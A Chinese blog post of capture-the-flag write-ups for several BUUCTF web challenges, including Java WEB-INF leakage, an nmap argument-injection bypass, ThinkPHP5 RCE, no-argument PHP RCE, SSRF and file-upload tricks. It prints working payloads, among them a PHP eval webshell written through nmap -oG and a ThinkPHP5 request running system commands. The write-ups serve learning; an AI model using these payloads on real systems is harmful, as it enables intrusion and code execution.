[网鼎杯 2020 青龙组]AreUSerialz

题解在这篇文章里面

不过地址改了,在这题里面地址比较正常/var/www/html/flag.php

[RoarCTF 2019]Easy Java

说到Java我们就想到JNDI注入和Java反序列化,不过还是看看题目是怎么一回事

首先我们可以看到一个登录框和一个help,点击help发现地址栏是这样的

image.png

于是我们似乎找到了一个打开文件的办法,但是读取/etc/passwd也是没办法读取的。猜测也许是Windows服务器

登录一下显示Wrong Password,注入一波没成功,猜测使用了Mybatis结构化了数据,所以应该没有合适的办法注入

然后没想法了,查wp去

然后看到WP说换请求方式是自然的想法……感觉不太自然,总之是换了就能下载

然后按照题解所说,WEB-INF泄露

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <welcome-file-list>
        <welcome-file>Index</welcome-file>
    </welcome-file-list>

    <servlet>
        <servlet-name>IndexController</servlet-name>
        <servlet-class>com.wm.ctf.IndexController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>IndexController</servlet-name>
        <url-pattern>/Index</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>LoginController</servlet-name>
        <servlet-class>com.wm.ctf.LoginController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>LoginController</servlet-name>
        <url-pattern>/Login</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>DownloadController</servlet-name>
        <servlet-class>com.wm.ctf.DownloadController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>DownloadController</servlet-name>
        <url-pattern>/Download</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>FlagController</servlet-name>
        <servlet-class>com.wm.ctf.FlagController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>FlagController</servlet-name>
        <url-pattern>/Flag</url-pattern>
    </servlet-mapping>

</web-app>

有个FlagController,试试下载下,地址是WEB-INF/classes/com/wm/ctf/FlagController.class

下载完丢到Java逆向网站,反编译得到base64的flag

import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet(
   name = "FlagController"
)
public class FlagController extends HttpServlet {

   String flag = "ZmxhZ3s1MTc3OWU3Yy05MDIzLTQ1ZDYtODljMS01NzkyYWQzYTBkMGV9Cg==";


   protected void doGet(HttpServletRequest var1, HttpServletResponse var2) throws ServletException, IOException {
      PrintWriter var3 = var2.getWriter();
      var3.print("<h1>Flag is nearby ~ Come on! ! !</h1>");
   }
}

[BUUCTF 2018]Online Tool

nmap扫描,字符串拼接

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

?>

一般有两个思路:写文件绕过chdir(以前做过一道zip解压可以软链接读取文件),或者利用nmap拼接一些参数写个shell下来。

开头的沙箱地址相当于我们可以自定义,但是是md5后的。应该不是关键点。

用了两个函数escapeshellargescapeshellcmd,查一下得到了一篇文章

Payload:

http://8b006b61-c747-4b9c-8b42-2d87f2f53115.node3.buuoj.cn/?host=%27%20%3C?php%20@eval($_POST[cmd])?%3E%20-oG%20www2.php%20%27

?host=' <?php @eval($_POST[cmd])?> -oG www2.php '

解释一下,第一步会使用escapeshellarg实现第一次转换:

' <?php @eval($_POST[cmd])?> -oG www2.php '

=>

'''' <?php @eval($_POST[cmd])?> -oG www2.php ''''

观察可以发现,是先把所有的单引号转义,然后把单引号切分成的段各自用单引号包围

'''' <?php @eval($_POST[cmd])?> -oG www2.php ''''

=>

''\'' <?php @eval($_POST[cmd])?> -oG www2.php '\'''

把斜杠,问号等等转义,此时可以发现原来的转义符被转义了

那么,拼凑出来的实际使用起来就是下面这样

''\'' <?php @eval($_POST[cmd])?> -oG www2.php '\'''

=>

 <?php @eval($_POST[cmd])?> -oG www2.php \

转存到txt中,观察一下结果

# Nmap 7.70 scan initiated Wed Sep 23 12:00:03 2020 as: nmap -T5 -sT -Pn --host-timeout 2 -F -oG www2.txt  <?php @eval($_POST[cmd])?> \
# Nmap done at Wed Sep 23 12:00:23 2020 -- 0 IP addresses (0 hosts up) scanned in 20.08 seconds

符合预期

image.png

[GYCTF2020]Blacklist

这篇文章中的[强网杯 2019]随便注是一样的。

[BJDCTF 2nd]old-hack

ThinkPHP5框架,如果没有改的话有通用Payload

试一把,其中一个Payload是没问题的

[URL]
http://b1bc74e4-bd1f-4e00-ab6f-d1074fa54186.node3.buuoj.cn/index.php?s=captcha

[POST]
_method=__construct&filter[]=system&method=get&get[]=cat /flag

[GKCTF2020]cve版签到

给了Hint是CVE-2020-7066,直接百度

原来是%00截断,直接截断后根据提示得到flag

注:127...*都会被当成127.0.0.1处理

Payload

http://8fc0e92c-607b-4528-a3dd-8b426f9916c6.node3.buuoj.cn/?url=http://127.0.0.123%00.ctfhub.com

[GXYCTF2019]禁止套娃

貌似没提示,估计只能扫描器上了

扫了一下发现有.git文件夹,用现成利用工具

不过貌似三套工具只有一套好用

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data://|filter://|php://|phar:///i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+((?R)?)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

不会了,查wp去

我觉得这篇博客写的很好,给了两种无参数RCE的方式

第一种:利用随机的方式来读取

http://a6ac5cf6-faa7-47fc-a2c9-19bdbb2fbc2e.node3.buuoj.cn/?exp=print_r(readfile(array_rand(array_flip(scandir(current(localeconv()))))));

current:取出数组第一项

localeconv:获取当前环境的基础变量,第一项是'.'

array_flip:反转数组的键和值

array_rand:随机返回数组的一个键

array_reverse:反转数组后返回

readfile:读取文件

image.png

第二种:PHP Session

这种方法稳定性更强。

指定Cookie内的PHPSESSID,可以在session_start后使用session_id来获得任意字符串。

image.png

读取文件:有show_sourcereadfilehighlight_file

获取字符串后读取即可。

[De1CTF 2019]SSRF Me

给了源码

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
            os.mkdir(self.sandbox)
    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result
    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False #generate Sign For Action Scan.

@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())

@app.route('/')
def index():
    return open("code.txt","r").read()

def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
    return hashlib.md5(content).hexdigest()

def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0',port=80)

首先我们看到在Exec函数中,使用了in来做判断,所以我们可以在action中同时包含read和scan来完成既搜索又读取的任务。有了这个条件,我们就可以直接操作了。

注意到/geneSign路由内用了getSign函数,这个函数使用了字符串连接来计算,所以我们可以让geneSign的时候param最后包含一个read,其效果相当于action中有read和scan。

同时,urlopen可以直接打开本地文件。

综合起来,我们可以进行以下操作:

第一步:

计算签名

image.png

第二步:

签名和参数写入cookie

image.png

第三步:

拿flag

image.png

[MRCTF2020]你传你马呢

.htaccess增加jpg解析为php,上传php木马取名为xxx.jpg,之后直接连接拿shell。

image.png
image.png
image.png

[MRCTF2020]Ez_bypass

似乎给了源码

I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&amp;&amp;isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) &amp;&amp; $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}Please input first

老套路,同这篇文章中的[BJDCTF2020]Easy MD5

image.png
image.png

 

It is my final heart.
最后更新于 2022-07-24